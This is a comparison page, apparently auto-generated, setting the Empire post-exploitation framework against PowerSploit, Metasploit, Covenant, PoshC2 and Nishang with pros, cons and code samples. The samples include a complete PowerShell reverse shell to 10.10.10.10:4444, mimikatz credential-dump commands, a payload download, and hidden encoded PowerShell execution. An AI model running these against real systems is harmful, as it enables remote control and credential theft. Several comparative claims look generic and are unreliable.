Pros of Empire (BC-SECURITY)

• More actively maintained with frequent updates
• Enhanced features and modules
• Improved compatibility with modern systems

Cons of Empire (BC-SECURITY)

• Potential learning curve for users familiar with the original
• Some legacy modules may not be fully supported
• Larger codebase may require more resources

Code Comparison

Empire (EmpireProject):

class Listener:
    def __init__(self, mainMenu, params=[]):
        self.info = {
            'Name': 'HTTP[S]',
            'Author': ['@harmj0y'],
            'Description': ('Starts a http[s] listener.'),
            'Category' : ('listener'),
            'Comments': []
        }

Empire (BC-SECURITY):

class Listener(ListenerBase):
    def __init__(self, mainMenu, params=[]):
        super().__init__(mainMenu, params)
        self.info = {
            'Name': 'HTTP[S]',
            'Author': ['@harmj0y', '@_staaldraad'],
            'Description': ('Starts a http[s] listener.'),
            'Category': ('listener'),
            'Comments': []
        }

The BC-SECURITY version shows inheritance from a base class and additional authorship, indicating more extensive development and potential feature enhancements.

Pros of PowerSploit

• More focused on PowerShell-specific exploitation and post-exploitation techniques
• Larger collection of individual modules for specific tasks
• Generally easier to integrate into existing PowerShell scripts or workflows

Cons of PowerSploit

• Less actively maintained compared to Empire
• Lacks the comprehensive command and control (C2) framework that Empire provides
• May require more manual effort to chain together multiple modules for complex operations

Code Comparison

PowerSploit example (Invoke-Mimikatz):

Invoke-Mimikatz -DumpCreds

Empire example (using mimikatz):

usemodule credentials/mimikatz/logonpasswords
execute

Both projects offer powerful post-exploitation capabilities, but Empire provides a more comprehensive framework for red team operations, while PowerSploit focuses on individual PowerShell-based tools and modules. Empire integrates various techniques into a unified platform, whereas PowerSploit offers more flexibility for incorporating specific modules into custom scripts or existing workflows.

Pros of Metasploit-Framework

• Larger community and more extensive module library
• Better documentation and support resources
• More frequent updates and active development

Cons of Metasploit-Framework

• Steeper learning curve for beginners
• More resource-intensive and slower startup times
• Less focused on post-exploitation capabilities

Code Comparison

Empire:

# Example of a PowerShell-based Empire module
function Invoke-Example {
    param($Param1, $Param2)
    # Empire-specific code here
}

Metasploit-Framework:

# Example of a Ruby-based Metasploit module
class MetasploitModule < Msf::Exploit::Remote
  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Example Module',
      'Description' => 'This is an example module'
    ))
  end
  # Metasploit-specific code here
end

Empire focuses on PowerShell-based post-exploitation, while Metasploit-Framework offers a broader range of exploit and post-exploitation modules written primarily in Ruby. Empire's modules are generally more concise and tailored for Windows environments, whereas Metasploit-Framework's modules are more versatile and support a wider range of target systems.

Pros of Covenant

• Built with .NET Core, offering cross-platform compatibility
• Features a modern, user-friendly web interface for easier management
• Supports customizable C2 profiles for improved flexibility

Cons of Covenant

• Smaller community and less extensive documentation compared to Empire
• Fewer built-in modules and payloads out of the box
• Steeper learning curve for users not familiar with .NET development

Code Comparison

Covenant (C#):

public class GruntTasking
{
    public int Id { get; set; }
    public string Name { get; set; }
    public TaskingType Type { get; set; }
    public string Command { get; set; }
}

Empire (Python):

class Task(object):
    def __init__(self, taskID, command, results='', status='', args=None):
        self.taskID = taskID
        self.command = command
        self.results = results
        self.status = status
        self.args = args

Both projects implement task-based structures, but Covenant uses C# properties while Empire uses Python's object-oriented approach. Covenant's implementation is more concise due to C#'s built-in property syntax.

Pros of PoshC2

• Written in Python, making it more accessible for customization and contributions
• Supports a wider range of payload types, including .NET assemblies and shellcode
• Offers a web interface for easier management and collaboration

Cons of PoshC2

• Less extensive documentation compared to Empire
• Smaller community and fewer available modules
• May have a steeper learning curve for users new to Python-based C2 frameworks

Code Comparison

Empire (PowerShell):

$wc = New-Object System.Net.WebClient
$wc.Headers.Add("User-Agent", "Mozilla/5.0")
$data = $wc.DownloadData("http://example.com/payload")

PoshC2 (Python):

import requests

headers = {"User-Agent": "Mozilla/5.0"}
response = requests.get("http://example.com/payload", headers=headers)
data = response.content

Both frameworks use similar techniques for payload retrieval, but PoshC2's Python implementation offers more flexibility and easier integration with other Python libraries.

Pros of Nishang

• Written in PowerShell, making it more lightweight and easier to use on Windows systems
• Includes a wider variety of scripts for different post-exploitation tasks
• More frequently updated, with recent commits and active development

Cons of Nishang

• Less comprehensive framework compared to Empire's modular architecture
• Lacks the extensive documentation and community support that Empire has
• Does not offer the same level of multi-platform support as Empire

Code Comparison

Nishang (PowerShell):

$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2 = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte,0,$sendbyte.Length)
    $stream.Flush()
}
$client.Close()

Empire (Python):

import sys
import base64
import subprocess

def run_ps_code(code):
    encodedCode = base64.b64encode(code.encode('utf-16le')).decode()
    cmd = f'powershell -NoP -NonI -W Hidden -Exec Bypass -Enc {encodedCode}'
    output = subprocess.check_output(cmd, shell=True)
    return output.decode()

if __name__ == '__main__':
    ps_code = sys.argv[1]
    result = run_ps_code(ps_code)
    print(result)